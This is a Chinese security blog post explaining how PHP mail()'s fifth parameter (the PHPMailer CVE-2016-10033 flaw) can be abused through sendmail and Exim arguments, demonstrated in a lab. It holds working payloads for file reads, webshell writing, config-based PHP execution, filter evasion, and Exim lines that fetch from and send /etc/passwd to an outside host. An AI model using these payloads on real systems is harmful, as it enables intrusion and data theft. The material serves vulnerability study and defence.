首发绿盟科技博客:http://blog.nsfocus.net/hack-php-mail-additional_parameters/#Hack-4
在CVE-2016-10033中,PHPMailer的RCE火了一把,最近这个RCE又被老外放到wordpress中利用了一波,然后国内也跟着炒了一波,其实背后的锅都得PHP自带的内联函数mail()来背。
PHP自带的内联函数mail()是用来发送电子邮件的,看看PHP官方对mail函数的描述:
更详细的描述请查看链接:http://php.net/manual/en/function.mail.php
Nsctf平台上已经有现成的环境:http://10.5.0.253:8022/index.php
具体漏洞代码如下:
很暴力的将用户输入的$email变量带入PHPMailer的setFrom函数,其实就是设置了一个sender值,然后在PHPMailer的send函数中带入了PHP自带的mail()函数的第五个参数中。所以本文我们只关注mail函数的第五个参数的hack姿势。
上面代码产生的漏洞具体的过程大家可以去分分析一下PHPMailer的那个RCE(CVE-2016-10033)就明白了。
首先你的知道,mail函数最后也是调用系统的/usr/bin/sendmail命令来发送邮件的,它由MTA邮件传输代理软件安装在系统上面,比如sendmail、Exim、Postfix等。
那么我们来看看mail函数的第五个参数到底是干嘛的。
具体可以看看PHP官方文档对第五个参数的描述。简单说就是这个参数可以通过添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。
虽然PHP会使用escapeshellcmd函数来过滤参数的内容,对特殊字符的转义来防止恶意命令执行(&#;`|\?~<>^()[]{}$*, \x0A and \xFF. ‘ “**这些字符都不能使用),但是我们可以添加命令执行的其他参数。所问题就转变成如果可以找到可以利用的命令的其他参数就可以成功利用此漏洞了。
下面就来看看/usr/bin/sendmail命令可被我们利用的参数了。
通过阅读sendmail MTA的使用手册:http://www.sendmail.org/~ca/email/man/sendmail.html
得到如下参数是可以被我使用过的:
-X logfile是记录log文件的,就是可以写文件;
-C file是临时加载一个配置文件,就是可以读文件;
-O option=value 是临时设置一个邮件存储的临时目录的配置。
我们输入的email也就是进入第五个参数的值为:
123@456 -C/etc/passwd -X/tmp/456
最后系统执行的命令如下:
/usr/bin/sendmail –t –i -f 123@456 -C/etc/passwd -X/tmp/456
意思就是加载临时配置文件/etc/passwd来发送邮件,将日志信息都保存在/tmp/456文件中,如下图,我们在测试环境中使用上述payload,成功在目标系统生成/tmp/456文件,文件内容就是配置文件/etc/passwd的内容,当然你可以加载人以文件为配置文件就达到任意文件读取的目的。
我们输入的email也就是进入第五个参数的值为:
123@456 -OQueueDirectory=/tmp/ -X/var/www/shell.php
最后系统执行的命令如下:
/usr/bin/sendmail –t –i -f 123@456 -OQueueDirectory=/tmp/ -X/var/www/shell.php
这里的意思就是说我们将发送邮件的信息如body临时文件保存在tmp下面,最后将日志保存在www根目录下shell.php。
但是这里有一个问题就是你必须的指导web根目录才能写webshell。
然后经过研究我们可以使用下面更简单,更短的命令搞定。
123@456 -oQ/tmp -X./shell.php
最后系统执行的命令如下:
/usr/bin/sendmail –t –i -f 123@456 -oQ/tmp -X./shell.php
这里我们就不用知道web根目录,直接写文件到当前目录,写到shell.php文件的内容就是我那个发送邮件的内容了,你可以写任意内容。
如下图成功写入webshell到web目录。
上面的姿势二已经可以拿webshell了,那么问题来了:
如果我们当前目录你没权限写怎么办?
或者你写入的文件没办法执行怎么办?
这个时候如果我们能找到一个上传的地方,上传一个静态文件,文件的内容为sendmail的配置文件的内容,复制一份/etc/mail/sendmail.cg,然后在结尾加上一个配置:
Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=php -- $u $h ${client_addr}
注意标红的这两个地方($u $h),然后上传这个文件。
(注意这里是在复制一份原始的配置,然后末尾加上一段,不是修复原有的内容。)
因为默认系统会使用sendmail-mta来解析发送的邮件内容,这里我们添加一段上面的内容目的就是覆盖默认的解析,使用php来解析邮件内容。
然后我们就是用这个上传的静态文件为临时配置文件来发送邮件,比如上传之后的静态文件为./upload/sendmail_cf,漏洞利用的payload如下:
123@456 -oQ/tmp -X./upload/sendmail_cf
最后系统执行的命令如下:
/usr/bin/sendmail –t –i -f 123@456 -oQ/tmp -X./upload/sendmail_cf
如下如发送邮件时将使用sendmail_cf来解析邮件内容,我们将邮件内容填一段php代码,这个时候这段php代码就能被php来解析了,成功执行我们的php代码。
如果系统使用Exim4来发送邮件又该如何利用上面的漏洞呢?
继续阅读Exim4的官方使用手册:https://linux.die.net/man/8/exim
然后总结如下参数是可被我们利用的:
Run Exim in expansion testing mode. Exim discards its root privilege,
to prevent ordinary users from using this mode to read otherwise inaccessible files.
If no arguments are given, Exim runs interactively, prompting for lines of data. Otherwise,
it processes each argument in turn.
就是说exim的-be参数支持运行扩展模式,具体扩展模式可运行的内容又得研究一番,相当于一门新的语言了,主要来看看字符串的扩展内容:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
然后在这些字符串扩展中,如下内容可被我们利用:
${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>,成功返回string1,失败返回string2
${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取,在string3中从string1开始截取string2个字符
${readfile{<file name>}{<eol string>}}
//读文件file name,以eol string分割
${readsocket{<name>}{<request>}{<timeout>}{<eol string>}{<fail string>}}
//发送socket消息,消息内容为request
还有很多其他系统变量也是可以被利用的。
因为在很多时候一些特殊字符不能出现在payload中,比如/,空格,:等,这是系统变量就派上用场了,我们可以使用${substr{<string1>}{<string2>}{<string3>}}来从系统变量的值中截取我们想要的字符,如下图:
利用${run{}{}{}}可以执行任意命令,但是这里的命令没有回显,所以得借助数据外带,或者直接让系统反弹一个shell也是ok的。
root@localhost –be ${run{/usr/bin/curl 10.5.1.2:9999/rce.txt}}
root@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}
{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}10.5.1.2$
{substr{13}{1}{$tod_log}}9999${substr{0}{1}{$spool_directory}}rce.txt}}
最后系统执行的命令如下:
/usr/sbin/sendmail –t –i -f root@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr$
{substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}
10.5.1.2${substr{13}{1}{$tod_log}}9999${substr{0}{1}{$spool_directory}}rce.txt}}
这里我们让目标系统执行一个curl,如下图成功接收到请求:
这里我们使用readsocket和readfile两个结合。
Readsocket可以发送消息到目标链接,readfile可以读任意文件,所以两个结合就可以将读取的文件内容通过readsocket最为消息发送出去,到达任意文件读取的效果。
root@localhost –be ${readsocket{init:10.5.1.2:9999}{${readfile{/etc/passwd}{}}}{3s}{}{failure}}
root@localhost -be ${readsocket{inet${substr{13}{1}{$tod_log}}10.5.1.2${substr{13}{1}{$tod_log}}9999}
{${readfile{${substr{0}{1}{$spool_directory}}etc${substr{0}{1}{$spool_directory}}passwd}{}}}{3s}{}{failure}}
最后系统执行的命令如下:
/usr/sbin/sendmail –t –i -f root@localhost -be ${readsocket{inet${substr{13}{1}{$tod_log}}
10.5.1.2${substr{13}{1}{$tod_log}}9999}{${readfile{${substr{0}{1}{$spool_directory}}etc$
{substr{0}{1}{$spool_directory}}passwd}{}}}{3s}{}{failure}}
还有各种编码如base32,base62,base64;加解密md5,sha1,sha3,sha256等,可以用来绕过过滤操作,Bypass WAF等,具体见exim4的字符串扩展内容。
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html